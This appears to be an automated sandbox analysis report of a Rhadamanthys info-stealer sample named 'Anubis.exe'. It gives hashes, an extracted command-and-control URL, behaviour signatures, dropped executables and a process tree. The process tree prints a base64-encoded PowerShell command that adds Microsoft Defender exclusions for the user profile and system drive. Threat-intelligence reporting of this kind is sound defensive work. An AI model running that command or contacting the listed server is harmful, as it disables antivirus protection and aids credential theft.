Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-01-2025 18:25

General

  • Target

    Anubis.exe

  • Size

    1.2MB

  • MD5

    c2adb7ff42f1c961035f17bad5bee12d

  • SHA1

    e2ae36539f9ff88e8a89d750e99d15ea6e84f0dc

  • SHA256

    4b350ae0b85aa7f7818e37e3f02397cd3667af8d62eb3132fb3297bd96a0abe2

  • SHA512

    16413f90689cfa3fc509637bea54634ead1bba7f89d621bbc8096279f2413cd3477142a63becfa457e5756583c34049699ab1e960d1133dad2f72e3325ecb348

  • SSDEEP

    24576:uDDgbYd14JwD00GR/L4Sgh5ovGpuIGPBgyjhgQJ8L/inWS:gcbILXoO3p9GP6ydk/inWS

Malware Config

Extracted

Family

rhadamanthys

C2

https://195.3.223.126:4287/9d0dc091285eb9fbf2e/o8f3c8oj.8rdif

Signatures

  • Detect rhadamanthys stealer shellcode 2 IoCs
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Rhadamanthys family
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Anubis.exe
    "C:\Users\Admin\AppData\Local\Temp\Anubis.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAYQBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHgAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAcABnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAdgBuACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1016
    • C:\Users\Admin\AppData\Local\Temp\Launcher.exe
      "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4736
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c pause
        3⤵
          PID:3620
      • C:\Users\Admin\AppData\Local\Temp\WindowsHost.exe
        "C:\Users\Admin\AppData\Local\Temp\WindowsHost.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1264

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Launcher.exe

      Filesize

      748KB

      MD5

      a8db312e9364d1d82600bf5a398212fe

      SHA1

      3bbacada2b463bb9f62ed7ae34a8e8440bc91dcb

      SHA256

      84e01afa9f1f134caa4e49456f4a1700e17bae4cbd962c1dfdf6cdfd61b3a3cb

      SHA512

      a7994ab1901aa1fc6ee89a302a92c9ec7fc3febc348a21e0445d4e17bb2c736ef563543dde94a01fe5d81094e792b354db1d02f8069992b36791fdbb0f8a5782

    • C:\Users\Admin\AppData\Local\Temp\WindowsHost.exe

      Filesize

      456KB

      MD5

      515a0c8be21a5ba836e5687fc2d73333

      SHA1

      c52be9d0d37ac1b8d6bc09860e68e9e0615255ab

      SHA256

      9950788284df125c7359aeb91435ed24d59359fac6a74ed73774ca31561cc7ae

      SHA512

      4e2bd7ce844bba25aff12e2607c4281b59f7579b9407139ef6136ef09282c7afac1c702adebc42f8bd7703fac047fd8b5add34df334bfc04d3518ea483225522

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mzuoj2qd.fci.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1016-37-0x0000000074440000-0x000000007448C000-memory.dmp

      Filesize

      304KB

    • memory/1016-47-0x0000000006CF0000-0x0000000006D0E000-memory.dmp

      Filesize

      120KB

    • memory/1016-18-0x0000000073B10000-0x00000000742C0000-memory.dmp

      Filesize

      7.7MB

    • memory/1016-20-0x0000000073B10000-0x00000000742C0000-memory.dmp

      Filesize

      7.7MB

    • memory/1016-21-0x0000000005780000-0x00000000057A2000-memory.dmp

      Filesize

      136KB

    • memory/1016-22-0x00000000060B0000-0x0000000006116000-memory.dmp

      Filesize

      408KB

    • memory/1016-23-0x0000000006120000-0x0000000006186000-memory.dmp

      Filesize

      408KB

    • memory/1016-17-0x0000000003160000-0x0000000003196000-memory.dmp

      Filesize

      216KB

    • memory/1016-33-0x0000000006190000-0x00000000064E4000-memory.dmp

      Filesize

      3.3MB

    • memory/1016-34-0x0000000006730000-0x000000000674E000-memory.dmp

      Filesize

      120KB

    • memory/1016-35-0x0000000006770000-0x00000000067BC000-memory.dmp

      Filesize

      304KB

    • memory/1016-16-0x0000000073B1E000-0x0000000073B1F000-memory.dmp

      Filesize

      4KB

    • memory/1016-36-0x0000000007700000-0x0000000007732000-memory.dmp

      Filesize

      200KB

    • memory/1016-19-0x0000000005910000-0x0000000005F38000-memory.dmp

      Filesize

      6.2MB

    • memory/1016-48-0x0000000007940000-0x00000000079E3000-memory.dmp

      Filesize

      652KB

    • memory/1016-49-0x00000000080A0000-0x000000000871A000-memory.dmp

      Filesize

      6.5MB

    • memory/1016-50-0x0000000007A60000-0x0000000007A7A000-memory.dmp

      Filesize

      104KB

    • memory/1016-63-0x0000000073B10000-0x00000000742C0000-memory.dmp

      Filesize

      7.7MB

    • memory/1016-60-0x0000000007CE0000-0x0000000007CE8000-memory.dmp

      Filesize

      32KB

    • memory/1016-59-0x0000000007D90000-0x0000000007DAA000-memory.dmp

      Filesize

      104KB

    • memory/1016-54-0x0000000007AD0000-0x0000000007ADA000-memory.dmp

      Filesize

      40KB

    • memory/1016-55-0x0000000007CF0000-0x0000000007D86000-memory.dmp

      Filesize

      600KB

    • memory/1016-56-0x0000000007C60000-0x0000000007C71000-memory.dmp

      Filesize

      68KB

    • memory/1016-57-0x0000000007CA0000-0x0000000007CAE000-memory.dmp

      Filesize

      56KB

    • memory/1016-58-0x0000000007CB0000-0x0000000007CC4000-memory.dmp

      Filesize

      80KB

    • memory/1264-52-0x0000000002160000-0x0000000002560000-memory.dmp

      Filesize

      4.0MB

    • memory/1264-53-0x0000000002160000-0x0000000002560000-memory.dmp

      Filesize

      4.0MB

    • memory/1264-51-0x00000000005F0000-0x00000000005F7000-memory.dmp

      Filesize

      28KB